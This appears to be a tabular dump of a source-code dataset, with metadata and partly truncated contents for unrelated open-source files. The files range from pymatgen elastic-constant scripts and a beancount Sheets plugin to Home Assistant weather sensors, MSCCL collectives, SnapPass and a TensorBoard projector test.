if not char:
self.session.send("You're not playing a character!")
return
if not char.room:
... | true | true |
790b22f67984acbc1adc70e328564f8496f2231c | 2,925 | py | Python | examples/elastic.py | costrouc/pymatgen-lammps | 0e1aee4c4c93a62ac3648086d3007be7c2ce20a1 | [
"MIT"
] | 3 | 2020-07-01T07:59:42.000Z | 2022-01-19T07:19:08.000Z | examples/elastic.py | costrouc/pymatgen-lammps | 0e1aee4c4c93a62ac3648086d3007be7c2ce20a1 | [
"MIT"
] | null | null | null | examples/elastic.py | costrouc/pymatgen-lammps | 0e1aee4c4c93a62ac3648086d3007be7c2ce20a1 | [
"MIT"
] | 4 | 2020-07-26T03:30:52.000Z | 2021-08-09T21:26:00.000Z | # Calculation the Elastic Constants from given deformations
import os
import subprocess
from pymatgen import Structure, Lattice, Specie
from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor
from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials
supercell = (5... | 35.240964 | 101 | 0.709744 |
import os
import subprocess
from pymatgen import Structure, Lattice, Specie
from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor
from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials
supercell = (5, 5, 5)
a = 4.1990858
lattice = Lattice.from_parameters(a,... | true | true |
790b24e08d1689ac5a8a136a2200ec96e8902f61 | 9,780 | py | Python | src/coolbeans/plugins/sheetsaccount.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 5 | 2020-05-17T04:48:25.000Z | 2022-01-27T09:36:45.000Z | src/coolbeans/plugins/sheetsaccount.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 1 | 2020-05-17T06:21:52.000Z | 2020-05-22T13:49:33.000Z | src/coolbeans/plugins/sheetsaccount.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 1 | 2021-01-28T03:00:27.000Z | 2021-01-28T03:00:27.000Z | """
# Sheets Account
Read a Google Sheet as if it were are realtime source of transactions
for a GL account. Columns are mapped to attributes. The
assumption is that the sheet maps to a single account, and the
rows are the credit/debits to that account.
Can be used as a plugin, which will write new entries (for ref... | 31.650485 | 100 | 0.58456 |
import logging
import decimal
import pprint
import typing
import datetime
import dateparser
import pathlib
import slugify
from beancount.core import data
from coolbeans.utils import safe_plugin, get_setting
from coolbeans.tools.sheets import google_connect, safe_open_sheet
from coolbeans.plugins.accountsync import... | true | true |
790b256629c5649137035d014ee8ea6aa54c079f | 4,072 | py | Python | src/genie/libs/parser/asa/tests/test_show_vpn.py | filippohronsky/genieparser | 85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df | [
"Apache-2.0"
] | 2 | 2021-01-27T03:37:39.000Z | 2021-01-27T03:40:50.000Z | src/genie/libs/parser/asa/tests/test_show_vpn.py | filippohronsky/genieparser | 85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df | [
"Apache-2.0"
] | 1 | 2020-08-01T00:23:31.000Z | 2020-08-01T00:40:05.000Z | src/genie/libs/parser/asa/tests/test_show_vpn.py | filippohronsky/genieparser | 85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df | [
"Apache-2.0"
] | null | null | null | import unittest
from unittest.mock import Mock
# PyATS
from pyats.topology import Device
from genie.metaparser.util.exceptions import SchemaEmptyParserError, \
SchemaMissingKeyError
from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing
# ============================... | 35.408696 | 82 | 0.370088 | import unittest
from unittest.mock import Mock
from pyats.topology import Device
from genie.metaparser.util.exceptions import SchemaEmptyParserError, \
SchemaMissingKeyError
from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing
class TestShowVPNLoadBalancing(uni... | true | true |
790b2616f583dbaa08f38fd927e913e89fb35cb7 | 34,961 | py | Python | mathTools/field.py | ecuvelier/PPAT | 63d4e6417729ba09ddec6c719e98ea67b788ab11 | [
"Apache-2.0"
] | 3 | 2015-09-29T16:22:15.000Z | 2020-03-30T23:34:51.000Z | mathTools/field.py | ecuvelier/PPAT | 63d4e6417729ba09ddec6c719e98ea67b788ab11 | [
"Apache-2.0"
] | null | null | null | mathTools/field.py | ecuvelier/PPAT | 63d4e6417729ba09ddec6c719e98ea67b788ab11 | [
"Apache-2.0"
] | 2 | 2017-08-01T16:21:25.000Z | 2020-03-30T23:34:53.000Z | # -*- coding: utf-8 -*-
"""
Created on 2013-2014
Author : Edouard Cuvelier
Affiliation : Université catholique de Louvain - ICTEAM - UCL Crypto Group
Address : Place du Levant 3, 1348 Louvain-la-Neuve, BELGIUM
email : firstname.lastname@uclouvain.be
"""
from numpy import *
import gmpy
from Crypto.Random.random import... | 33.584054 | 132 | 0.494208 |
from numpy import *
import gmpy
from Crypto.Random.random import randint
import random as rd
import tools.fingexp as fingexp
import tools.utils as utils
class Field(fingexp.FingExp):
def __init__(self,p):
self.F = self
self.p = gmpy.mpz(p)
self.char = self.p
self.q = self.p+1 ... | true | true |
790b28543a58805c78207912115bb3764bd5ceb4 | 1,452 | py | Python | src/spacel/provision/app/alarm/endpoint/factory.py | mycloudandme/spacel-provision | 900b8ada0017f727163c5c2ae464e17d747ba0e8 | [
"MIT"
] | 2 | 2016-05-18T11:10:27.000Z | 2016-05-18T13:25:04.000Z | src/spacel/provision/app/alarm/endpoint/factory.py | mycloudandme/spacel-provision | 900b8ada0017f727163c5c2ae464e17d747ba0e8 | [
"MIT"
] | null | null | null | src/spacel/provision/app/alarm/endpoint/factory.py | mycloudandme/spacel-provision | 900b8ada0017f727163c5c2ae464e17d747ba0e8 | [
"MIT"
] | null | null | null | import logging
logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory')
class AlarmEndpointFactory(object):
def __init__(self, factories):
self._factories = factories
def add_endpoints(self, template, endpoints):
endpoint_resources = {}
logger.debug('Injecting %d en... | 33.767442 | 77 | 0.587466 | import logging
logger = logging.getLogger('spacel.provision.app.alarm.endpoint.factory')
class AlarmEndpointFactory(object):
def __init__(self, factories):
self._factories = factories
def add_endpoints(self, template, endpoints):
endpoint_resources = {}
logger.debug('Injecting %d en... | true | true |
790b288e1719545deb4204457f8c3a871ba6ca5d | 2,016 | py | Python | base/src/shallowflow/base/sources/_ForLoop.py | waikato-datamining/shallow-flow | 3f1d99921e5138598eb164edeb1d23e6f199501c | [
"MIT"
] | null | null | null | base/src/shallowflow/base/sources/_ForLoop.py | waikato-datamining/shallow-flow | 3f1d99921e5138598eb164edeb1d23e6f199501c | [
"MIT"
] | 2 | 2021-08-18T22:00:08.000Z | 2021-08-18T22:00:47.000Z | base/src/shallowflow/base/sources/_ForLoop.py | waikato-datamining/shallowflow | 3f1d99921e5138598eb164edeb1d23e6f199501c | [
"MIT"
] | null | null | null | from shallowflow.api.source import AbstractListOutputSource
from shallowflow.api.config import Option
class ForLoop(AbstractListOutputSource):
"""
Outputs an integer from the specified range.
"""
def description(self):
"""
Returns a description for the actor.
:return: the act... | 30.545455 | 113 | 0.556052 | from shallowflow.api.source import AbstractListOutputSource
from shallowflow.api.config import Option
class ForLoop(AbstractListOutputSource):
def description(self):
return "Outputs an integer from the specified range."
def _define_options(self):
super()._define_options()
self._optio... | true | true |
790b2907d60dd24209ea9e5a733a1b821116b164 | 1,138 | py | Python | pyiron/cli/wrapper.py | srmnitc/pyiron | ea290206292d60f5ad0a67b171a9f2f71f043264 | [
"BSD-3-Clause"
] | null | null | null | pyiron/cli/wrapper.py | srmnitc/pyiron | ea290206292d60f5ad0a67b171a9f2f71f043264 | [
"BSD-3-Clause"
] | null | null | null | pyiron/cli/wrapper.py | srmnitc/pyiron | ea290206292d60f5ad0a67b171a9f2f71f043264 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department
# Distributed under the terms of "New BSD License", see the LICENSE file.
"""
Run a job from hdf5.
"""
from pyiron.base.job.wrapper import job_wrapper_function
def register(parser):
parser.add_argument(
... | 29.179487 | 108 | 0.593146 |
from pyiron.base.job.wrapper import job_wrapper_function
def register(parser):
parser.add_argument(
"-d", "--debug", action = "store_true",
help = "enable debug mode"
)
parser.add_argument(
"-j", "--job-id",
help = "job id to run"
)
parser.add_arg... | true | true |
790b295c1eca2286359672cb11eb653de59239b7 | 1,765 | py | Python | test_ADMM.py | CrazyIvanPro/Optimal_Transport | aa782820a5ca5a01909ed3c32acbada43f6cfa0f | [
"MIT"
] | 2 | 2020-11-09T10:37:19.000Z | 2021-07-06T09:24:30.000Z | test_ADMM.py | CrazyIvanPro/Optimal_Transport | aa782820a5ca5a01909ed3c32acbada43f6cfa0f | [
"MIT"
] | null | null | null | test_ADMM.py | CrazyIvanPro/Optimal_Transport | aa782820a5ca5a01909ed3c32acbada43f6cfa0f | [
"MIT"
] | 1 | 2021-06-03T17:07:01.000Z | 2021-06-03T17:07:01.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# =======================================
# File Name: test_ADMM.py
# Purpose : test ADMM solver for primal
# problem and dual problem
# =======================================
from utils import get_params
from ADMM_primal import ADMM_primal
from ADMM_dual impo... | 29.915254 | 116 | 0.5983 |
from utils import get_params
from ADMM_primal import ADMM_primal
from ADMM_dual import ADMM_dual
import numpy as np
import argparse
import time
import sys
parser = argparse.ArgumentParser()
parser.add_argument('--n', type=int, default=64)
parser.add_argument('--dataset', type=str, choices=['random', 'caffarell... | true | true |
790b2982b23a530e0f088aaff3c4702dc9aa626c | 2,407 | py | Python | livius/audio/audioProcessing.py | papar22/livius | a28929ef27f9737a598bbae36360ebe7b55a3f41 | [
"Unlicense"
] | 1 | 2018-05-08T20:04:08.000Z | 2018-05-08T20:04:08.000Z | livius/audio/audioProcessing.py | raffienficiaud/livius | a28929ef27f9737a598bbae36360ebe7b55a3f41 | [
"Unlicense"
] | null | null | null | livius/audio/audioProcessing.py | raffienficiaud/livius | a28929ef27f9737a598bbae36360ebe7b55a3f41 | [
"Unlicense"
] | null | null | null | # Import Basic modules
import numpy as np
import os
# Import everything needed to edit video clips
from moviepy.editor import *
from moviepy.Clip import *
from moviepy.video.VideoClip import *
from moviepy.config import get_setting # ffmpeg, ffmpeg.exe, etc...
class AudioProcessing:
# documentation stri... | 20.57265 | 108 | 0.617366 |
import numpy as np
import os
from moviepy.editor import *
from moviepy.Clip import *
from moviepy.video.VideoClip import *
from moviepy.config import get_setting
class AudioProcessing:
""" This class include all required attributes and methods for slide detection.
It includes different algor... | false | true |
790b2c18fd1bc9773b6a57aed8716bfd86135e86 | 1,355 | py | Python | code/examples/example_mikhail.py | hugopibernat/BayesianABTestAnalysis | 026960524f5313f4a734f30fd447a5731be802e0 | [
"Apache-2.0"
] | null | null | null | code/examples/example_mikhail.py | hugopibernat/BayesianABTestAnalysis | 026960524f5313f4a734f30fd447a5731be802e0 | [
"Apache-2.0"
] | null | null | null | code/examples/example_mikhail.py | hugopibernat/BayesianABTestAnalysis | 026960524f5313f4a734f30fd447a5731be802e0 | [
"Apache-2.0"
] | null | null | null | from bayesianABTest import sampleSuccessRateForBinomial
from numpy import mean
def bestOfFive(A,B,C,D,E,F):
return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F))
############# Example: Binomial Distribution #############
# Actual data for all cases
installs = [986,1013,959,968,1029,1014]
returns = [340,2... | 38.714286 | 72 | 0.720295 | from bayesianABTest import sampleSuccessRateForBinomial
from numpy import mean
def bestOfFive(A,B,C,D,E,F):
return mean( (A > B) & (A > C) & (A > D) & (A > E) & (A > F))
robability of 21 being the best choice is {}".format(B_best)
print "The probability of 22 being the best choice is {}".format(C_best)
print "The... | false | true |
790b2c72de1235c0ff977b57459bda4356b27913 | 5,790 | py | Python | bananas/model.py | bccp/bananaplots | dbfe107207e07351c7d7125430fde16fb2731cc2 | [
"Apache-2.0"
] | 1 | 2016-09-13T16:44:42.000Z | 2016-09-13T16:44:42.000Z | bananas/model.py | bccp/bananaplots | dbfe107207e07351c7d7125430fde16fb2731cc2 | [
"Apache-2.0"
] | 8 | 2016-08-24T22:56:35.000Z | 2016-09-29T00:58:52.000Z | bananas/model.py | bccp/bananaplots | dbfe107207e07351c7d7125430fde16fb2731cc2 | [
"Apache-2.0"
] | 1 | 2021-12-11T22:51:22.000Z | 2021-12-11T22:51:22.000Z | import numpy
# FIXME: copy the functions here
from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp
def sample_gaussian2(means, cv, size, random_state, mins, maxes):
def once(size1):
g = random_state.multivariate_normal(means, cv, size1).T
g = g.reshape(len(means), -1)
... | 33.859649 | 108 | 0.56943 | import numpy
from sklearn.mixture.gmm import log_multivariate_normal_density, logsumexp
def sample_gaussian2(means, cv, size, random_state, mins, maxes):
def once(size1):
g = random_state.multivariate_normal(means, cv, size1).T
g = g.reshape(len(means), -1)
mask = (g >= mins[:, None]).all... | true | true |
790b2c91d5044689c187c8c0af450741d2838ee3 | 3,942 | py | Python | plugins/inline.py | OxyNotOp/OxyPlayer | 6747e1a20ad2c1ef54d461505a4f61a1e9f00e85 | [
"MIT"
] | null | null | null | plugins/inline.py | OxyNotOp/OxyPlayer | 6747e1a20ad2c1ef54d461505a4f61a1e9f00e85 | [
"MIT"
] | null | null | null | plugins/inline.py | OxyNotOp/OxyPlayer | 6747e1a20ad2c1ef54d461505a4f61a1e9f00e85 | [
"MIT"
] | null | null | null | #MIT License
#Copyright (c) 2021 OXYOP
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distr... | 39.42 | 269 | 0.624556 |
from pyrogram.handlers import InlineQueryHandler
from youtubesearchpython import VideosSearch
from utils import USERNAME
from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup
from pyrogram import Client, errors
from config import Co... | true | true |
790b2cc52380b3a8bf9200492b36ecac98c8f1d1 | 232 | py | Python | project/apps/portfolio/urls.py | mahdimehrabi/django-portfolio-app | 987bbfe6dce151f1b32e69ee833b71db636e933f | [
"MIT"
] | 4 | 2021-08-11T15:23:32.000Z | 2021-12-31T02:55:33.000Z | project/apps/portfolio/urls.py | mahdimehrabi/django-portfolio-app | 987bbfe6dce151f1b32e69ee833b71db636e933f | [
"MIT"
] | null | null | null | project/apps/portfolio/urls.py | mahdimehrabi/django-portfolio-app | 987bbfe6dce151f1b32e69ee833b71db636e933f | [
"MIT"
] | null | null | null | from django.urls import path
from .views import Index, language_switch
app_name = 'portfolio'
urlpatterns = [
path('', Index.as_view(), name='index'),
path('switch-lang/<str:lang>/', language_switch, name='switch-lang'),
]
| 25.777778 | 73 | 0.698276 | from django.urls import path
from .views import Index, language_switch
app_name = 'portfolio'
urlpatterns = [
path('', Index.as_view(), name='index'),
path('switch-lang/<str:lang>/', language_switch, name='switch-lang'),
]
| true | true |
790b2ce856eb1abe3a674d8d4c7412b9a9543a94 | 11,132 | py | Python | src/scripts/segmentation/baselines/kmeans_and_sift.py | THinnerichs/MiS-Information-Clustering | 597c70e1283222e0e841e24f6805b967aaf3c9e0 | [
"MIT"
] | null | null | null | src/scripts/segmentation/baselines/kmeans_and_sift.py | THinnerichs/MiS-Information-Clustering | 597c70e1283222e0e841e24f6805b967aaf3c9e0 | [
"MIT"
] | null | null | null | src/scripts/segmentation/baselines/kmeans_and_sift.py | THinnerichs/MiS-Information-Clustering | 597c70e1283222e0e841e24f6805b967aaf3c9e0 | [
"MIT"
] | null | null | null | from __future__ import print_function
import argparse
import os
import pickle
import sys
import cv2
import numpy as np
import torch
import vlfeat # calls constructor
from sklearn.cluster import MiniBatchKMeans
from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \
_acc
from src.utils.segm... | 36.618421 | 80 | 0.676967 | from __future__ import print_function
import argparse
import os
import pickle
import sys
import cv2
import numpy as np
import torch
import vlfeat
from sklearn.cluster import MiniBatchKMeans
from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \
_acc
from src.utils.segmentation.data impor... | true | true |
790b2d371432522b12c630954ab58dc667368862 | 1,496 | py | Python | markup.py | ak212/python-hockey-rss | 60dc71168db53dee0eaf2bf02a40a73f5e3527db | [
"MIT"
] | 1 | 2015-12-22T18:37:45.000Z | 2015-12-22T18:37:45.000Z | markup.py | ak212/python-hockey-rss | 60dc71168db53dee0eaf2bf02a40a73f5e3527db | [
"MIT"
] | null | null | null | markup.py | ak212/python-hockey-rss | 60dc71168db53dee0eaf2bf02a40a73f5e3527db | [
"MIT"
] | null | null | null | import os
__author__ = "Aaron Koeppel"
__version__ = 1.0
def xmlMarkup(games, team_ab, team_name, team_record):
'''Markup the RSS feed using the data obtained.
:param games: list of games that the team played this season
:type games: list of GameData
:param team_ab: the team's abbreviated name
:type ... | 32.521739 | 79 | 0.625 | import os
__author__ = "Aaron Koeppel"
__version__ = 1.0
def xmlMarkup(games, team_ab, team_name, team_record):
file_name = team_ab + "_feed.xml"
script_dir = os.path.dirname(os.path.abspath(__file__))
dest_dir = os.path.join(script_dir, "feeds", team_ab)
try:
os.makedirs(dest_dir)
... | true | true |
790b2d4cde58cc65a51793d21e5e265754f9f859 | 140 | py | Python | bactopia/__init__.py | bactopia/bactopia-ap | f87c55f3c9f8c7aca230d7a6146db078acd6d141 | [
"MIT"
] | null | null | null | bactopia/__init__.py | bactopia/bactopia-ap | f87c55f3c9f8c7aca230d7a6146db078acd6d141 | [
"MIT"
] | 9 | 2019-05-20T17:05:09.000Z | 2019-08-29T12:59:57.000Z | bactopia/__init__.py | bactopia/bactopia-ap | f87c55f3c9f8c7aca230d7a6146db078acd6d141 | [
"MIT"
] | null | null | null | """Top-level package for Bactopia."""
__version__ = '2.1.0'
__all__ = [
'const',
'parse',
'summary'
]
from bactopia import *
| 11.666667 | 37 | 0.585714 |
__version__ = '2.1.0'
__all__ = [
'const',
'parse',
'summary'
]
from bactopia import *
| true | true |
790b2ddc74fef2c4be27a4d6c1b24dcbd933e151 | 11,621 | py | Python | homeassistant/components/bom/sensor.py | alemuro/home-assistant | 9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90 | [
"Apache-2.0"
] | 2 | 2019-10-19T15:07:32.000Z | 2022-01-29T10:33:20.000Z | homeassistant/components/bom/sensor.py | alemuro/home-assistant | 9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90 | [
"Apache-2.0"
] | 4 | 2021-02-08T21:05:14.000Z | 2021-09-08T02:57:03.000Z | homeassistant/components/bom/sensor.py | alemuro/home-assistant | 9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90 | [
"Apache-2.0"
] | 2 | 2019-01-21T05:49:23.000Z | 2019-02-19T16:30:48.000Z | """Support for Australian BOM (Bureau of Meteorology) weather service."""
import datetime
import ftplib
import gzip
import io
import json
import logging
import os
import re
import zipfile
import requests
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.components.sensor... | 33.880466 | 86 | 0.61234 | import datetime
import ftplib
import gzip
import io
import json
import logging
import os
import re
import zipfile
import requests
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import (
CONF_MONITOR... | true | true |
790b2e75e195f6e48d17b20887b50e09e339d377 | 10,140 | py | Python | msccl/distributors/alltoall_subproblem.py | angelica-moreira/sccl | db40eb2e8ec43990686739a1be0893e69ae99f06 | [
"MIT"
] | 1 | 2022-03-03T02:33:15.000Z | 2022-03-03T02:33:15.000Z | msccl/distributors/alltoall_subproblem.py | angelica-moreira/sccl | db40eb2e8ec43990686739a1be0893e69ae99f06 | [
"MIT"
] | null | null | null | msccl/distributors/alltoall_subproblem.py | angelica-moreira/sccl | db40eb2e8ec43990686739a1be0893e69ae99f06 | [
"MIT"
] | null | null | null | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
from msccl.collectives import *
from msccl.algorithm import *
from msccl.instance import *
from msccl.topologies import *
def _alltoall_subproblem(local_nodes, num_copies):
remote_node = local_nodes
local_end = local_nodes * local_nodes... | 45.267857 | 133 | 0.60355 |
from msccl.collectives import *
from msccl.algorithm import *
from msccl.instance import *
from msccl.topologies import *
def _alltoall_subproblem(local_nodes, num_copies):
remote_node = local_nodes
local_end = local_nodes * local_nodes
num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes
... | true | true |
790b3063b426f898769b92541a7cd32a79c0cecb | 8,111 | py | Python | plugins/modules/oci_identity_mfa_totp_device_facts.py | hanielburton/oci-ansible-collection | dfdffde637f746d346ba35569be8c3a3407022f2 | [
"Apache-2.0"
] | null | null | null | plugins/modules/oci_identity_mfa_totp_device_facts.py | hanielburton/oci-ansible-collection | dfdffde637f746d346ba35569be8c3a3407022f2 | [
"Apache-2.0"
] | null | null | null | plugins/modules/oci_identity_mfa_totp_device_facts.py | hanielburton/oci-ansible-collection | dfdffde637f746d346ba35569be8c3a3407022f2 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# Copyright (c) 2017, 2021 Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
# See LICENSE.TXT for d... | 33.241803 | 120 | 0.631365 |
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {
"metadata_version": "1.1",
"status": ["preview"],
"supported_by": "community",
}
DOCUMENTATION = """
---
module: oci_identity_mfa_totp_device_facts
short_description: Fetches details about ... | true | true |
790b3069425ae07e9b69a0a75534c8754c5f4767 | 2,284 | py | Python | wagtail/tests/testapp/migrations/0014_m2m_blog_page.py | seddonym/wagtail-tableblock | aea3ce67a0800285b20b93018b7c0a8679e479b7 | [
"BSD-3-Clause"
] | null | null | null | wagtail/tests/testapp/migrations/0014_m2m_blog_page.py | seddonym/wagtail-tableblock | aea3ce67a0800285b20b93018b7c0a8679e479b7 | [
"BSD-3-Clause"
] | null | null | null | wagtail/tests/testapp/migrations/0014_m2m_blog_page.py | seddonym/wagtail-tableblock | aea3ce67a0800285b20b93018b7c0a8679e479b7 | [
"BSD-3-Clause"
] | 1 | 2019-03-05T15:37:22.000Z | 2019-03-05T15:37:22.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import wagtail.wagtailcore.fields
import modelcluster.fields
class Migration(migrations.Migration):
dependencies = [
('wagtailcore', '0020_add_index_on_page_first_published_at'),
('tests', '0... | 34.606061 | 114 | 0.510508 |
from __future__ import unicode_literals
from django.db import models, migrations
import wagtail.wagtailcore.fields
import modelcluster.fields
class Migration(migrations.Migration):
dependencies = [
('wagtailcore', '0020_add_index_on_page_first_published_at'),
('tests', '0013_iconsetting_notyetr... | true | true |
790b30b8fe31efd2d8b8814bd7607f2d2230fe09 | 5,404 | py | Python | snappass/main.py | e2x/snappass | f7fbb4575ce59ee4c427ae087abcd462b867e01e | [
"MIT"
] | null | null | null | snappass/main.py | e2x/snappass | f7fbb4575ce59ee4c427ae087abcd462b867e01e | [
"MIT"
] | null | null | null | snappass/main.py | e2x/snappass | f7fbb4575ce59ee4c427ae087abcd462b867e01e | [
"MIT"
] | 1 | 2021-05-05T11:58:47.000Z | 2021-05-05T11:58:47.000Z | import os
import re
import sys
import uuid
import redis
from cryptography.fernet import Fernet
from flask import abort, Flask, render_template, request
from redis.exceptions import ConnectionError
from werkzeug.urls import url_quote_plus
from werkzeug.urls import url_unquote_plus
NO_SSL = os.environ.get('NO_SSL', Fa... | 27.292929 | 80 | 0.690044 | import os
import re
import sys
import uuid
import redis
from cryptography.fernet import Fernet
from flask import abort, Flask, render_template, request
from redis.exceptions import ConnectionError
from werkzeug.urls import url_quote_plus
from werkzeug.urls import url_unquote_plus
NO_SSL = os.environ.get('NO_SSL', Fa... | true | true |
790b30bb249216e305afd822386e038ae1bd80bf | 694 | py | Python | alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 213 | 2018-08-27T16:49:32.000Z | 2021-12-29T04:34:12.000Z | alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 29 | 2018-09-29T06:43:00.000Z | 2021-09-02T03:27:32.000Z | alipay/aop/api/response/AlipayCommerceAntestCaselistQueryResponse.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 59 | 2018-08-27T16:59:26.000Z | 2022-03-25T10:08:15.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse):
def __init__(self):
super(AlipayCommerceAntestCaselistQueryResponse, self).__init__()
self._data = None
... | 26.692308 | 114 | 0.706052 |
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
class AlipayCommerceAntestCaselistQueryResponse(AlipayResponse):
def __init__(self):
super(AlipayCommerceAntestCaselistQueryResponse, self).__init__()
self._data = None
@property
def data(self):
retu... | true | true |
790b319ae4af0618d5e780d5ec1f5e926956e06f | 3,240 | bzl | Python | src/main/starlark/builtins_bzl/common/java/java_library.bzl | omarzl/bazel | 2e723f228efee008bcfd62ceb74a176a357c4c32 | [
"Apache-2.0"
] | null | null | null | src/main/starlark/builtins_bzl/common/java/java_library.bzl | omarzl/bazel | 2e723f228efee008bcfd62ceb74a176a357c4c32 | [
"Apache-2.0"
] | null | null | null | src/main/starlark/builtins_bzl/common/java/java_library.bzl | omarzl/bazel | 2e723f228efee008bcfd62ceb74a176a357c4c32 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 36.818182 | 135 | 0.674691 |
load(":common/java/java_common.bzl", "JAVA_COMMON_DEP")
load(":common/rule_util.bzl", "create_rule")
load(":common/java/java_semantics.bzl", "semantics")
load(":common/java/proguard_validation.bzl", "VALIDATE_PROGUARD_SPECS")
JavaInfo = _builtins.toplevel.JavaInfo
JavaPluginInfo = _builtins.toplevel.Jav... | true | true |
790b328b89c6f9bc48583162fd7cf5e176afc177 | 4,239 | py | Python | network/get_sig_histogram.py | yukimasano/pet_forecast | 57547fee4c222313e9c958536f60da4f43e23c8c | [
"MIT"
] | null | null | null | network/get_sig_histogram.py | yukimasano/pet_forecast | 57547fee4c222313e9c958536f60da4f43e23c8c | [
"MIT"
] | 1 | 2018-02-19T21:08:08.000Z | 2018-02-23T10:45:57.000Z | network/get_sig_histogram.py | yukimasano/pet_forecast | 57547fee4c222313e9c958536f60da4f43e23c8c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 28 12:54:52 2016
@author: YPC
"""
import matplotlib.pyplot as plt
import json
import numpy
f=open('../petitions.json', 'r')
met=json.load(f)
f.close()
s=[]
s2=[]
""" this plots the signature distribution function"""
if False:
for i in range(len(m... | 27.888158 | 114 | 0.610757 |
"""
Created on Mon Mar 28 12:54:52 2016
@author: YPC
"""
import matplotlib.pyplot as plt
import json
import numpy
f=open('../petitions.json', 'r')
met=json.load(f)
f.close()
s=[]
s2=[]
""" this plots the signature distribution function"""
if False:
for i in range(len(met)):
s.append(... | false | true |
790b3468a36f769806063323bf41611a538801a6 | 5,280 | py | Python | tensorflow/tensorboard/plugins/projector/projector_plugin_test.py | garston2/tensorflow | bbe056e5a0ab81b67fcb6053400812b3d5805fc7 | [
"Apache-2.0"
] | null | null | null | tensorflow/tensorboard/plugins/projector/projector_plugin_test.py | garston2/tensorflow | bbe056e5a0ab81b67fcb6053400812b3d5805fc7 | [
"Apache-2.0"
] | null | null | null | tensorflow/tensorboard/plugins/projector/projector_plugin_test.py | garston2/tensorflow | bbe056e5a0ab81b67fcb6053400812b3d5805fc7 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 36.413793 | 97 | 0.726136 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import gzip
import io
import json
import os
import numpy as np
from werkzeug import test as werkzeug_test
from werkzeug import wrappers
from google.protobuf import text_format
from tensorflow.c... | true | true |
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